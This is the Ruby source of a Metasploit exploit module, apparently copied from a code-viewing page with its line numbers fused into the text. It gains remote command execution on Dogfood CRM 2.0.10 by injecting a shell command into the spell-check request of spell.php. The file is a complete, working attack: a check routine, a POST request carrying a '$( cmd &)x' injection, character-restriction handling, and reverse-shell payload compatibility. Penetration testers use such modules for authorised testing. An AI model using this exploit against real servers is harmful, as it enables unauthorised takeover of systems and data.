Path: blob/master/modules/exploits/unix/webapp/dogfood_spell_exec.rb
33119 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Dogfood CRM spell.php Remote Command Execution',15'Description' => %q{16This module exploits a previously unpublished vulnerability in the17Dogfood CRM mail function which is vulnerable to command injection18in the spell check feature. Because of character restrictions, this19exploit works best with the double-reverse telnet payload. This20vulnerability was discovered by LSO and affects v2.0.10.21},22'Author' => [23'LSO <lso[at]hushmail.com>', # Exploit module24'aushack', # Added check code, QA tested ok 20090303, there are no references (yet).25],26'License' => BSD_LICENSE,27'References' => [28[ 'CVE', '2009-20010' ],29[ 'OSVDB', '54707' ],30[ 'URL', 'http://downloads.sourceforge.net/dogfood/' ],31],32'Privileged' => false,33'Platform' => ['unix'], # aushack - removed win, linux -> untested34'Arch' => ARCH_CMD,35'Payload' => {36'Space' => 1024,37'DisableNops' => true,38'BadChars' => %q|'"`|, # quotes are escaped by PHP's magic_quotes_gpc in a default install39'Compat' =>40{41'PayloadType' => 'cmd cmd_bash',42'RequiredCmd' => 'generic perl ruby python bash-tcp telnet',43}44},45'Targets' => [ ['Automatic', {}], ],46'DefaultTarget' => 0,47'DisclosureDate' => '2009-03-03',48'Notes' => {49'Reliability' => UNKNOWN_RELIABILITY,50'Stability' => UNKNOWN_STABILITY,51'SideEffects' => UNKNOWN_SIDE_EFFECTS52}53)54)5556register_options(57[58OptString.new('URIPATH', [ true, "The URI of the spell checker", '/dogfood/mail/spell.php']),59]60)61end6263def check64res = send_request_raw(65{66'uri' => normalize_uri(datastore['URIPATH']),67}, 168)6970if (res and res.body =~ /Spell Check complete/)71return Exploit::CheckCode::Detected72end7374return Exploit::CheckCode::Safe75end7677def exploit78timeout = 17980cmd = payload.encoded81data = "data=#{Rex::Text.uri_encode('$( ' + cmd + ' &)x')}"82uri = normalize_uri(datastore['URIPATH'])8384response = send_request_cgi(85{86'uri' => uri,87'method' => "POST",88'data' => data89},90timeout91)9293handler94end95end969798